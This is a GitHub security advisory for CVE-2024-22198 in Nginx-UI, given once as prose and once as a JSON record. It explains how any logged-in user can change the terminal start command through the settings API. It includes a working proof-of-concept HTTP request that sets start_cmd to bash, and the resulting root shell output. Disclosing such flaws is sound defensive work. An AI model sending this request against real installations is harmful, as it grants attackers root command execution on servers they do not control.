GHSA-8R25-68WM-JW35

Vulnerability from github – Published: 2024-01-11 16:32 – Updated: 2024-05-20 22:04
VLAI?
Summary
Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)
Details

Summary

Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details

The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        Server settings.Server `json:"server"`
        ...
    }

    ...

    settings.ServerSettings = json.Server

    ...

    err := settings.Save()
    ...
}

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

func Pty(c *gin.Context) {
    ...

    p, err := pty.NewPipeLine(ws)

    ...
}

The NewPipeLine function is defined as follows:

func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
    c := exec.Command(settings.ServerSettings.StartCmd)

    ...

This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "start_cmd":"bash" :

POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Open a terminal from the web interface and execute arbitrary commands as root:
root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Severity ?
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0.beta.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-11T16:32:14Z",
    "nvd_published_at": "2024-01-11T20:15:45Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.\n\n### Details\nThe `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\n\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\n\nThe `SaveSettings` function is defined as follows:\n\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        Server settings.Server `json:\"server\"`\n        ...\n    }\n\n    ...\n\n    settings.ServerSettings = json.Server\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\n\nThe `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:\n\n```go\nfunc Pty(c *gin.Context) {\n\t...\n\n\tp, err := pty.NewPipeLine(ws)\n\n\t...\n}\n```\n\nThe [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:\n\n```go\nfunc NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {\n\tc := exec.Command(settings.ServerSettings.StartCmd)\n\n    ...\n```\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"start_cmd\":\"bash\"` :\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 512\nAuthorization: \u003c\u003cJWT TOKEN\u003e\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"...\",\"node_secret\":\"...\",\"http_challenge_port\":\"9180\",\"email\":\"...\",\"database\":\"foo\",\"start_cmd\":\"bash\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Open a terminal from the web interface and execute arbitrary commands as `root`:\n```\nroot@1de46642d108:/app# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
  "id": "GHSA-8r25-68wm-jw35",
  "modified": "2024-05-20T22:04:59Z",
  "published": "2024-01-11T16:32:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22198"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.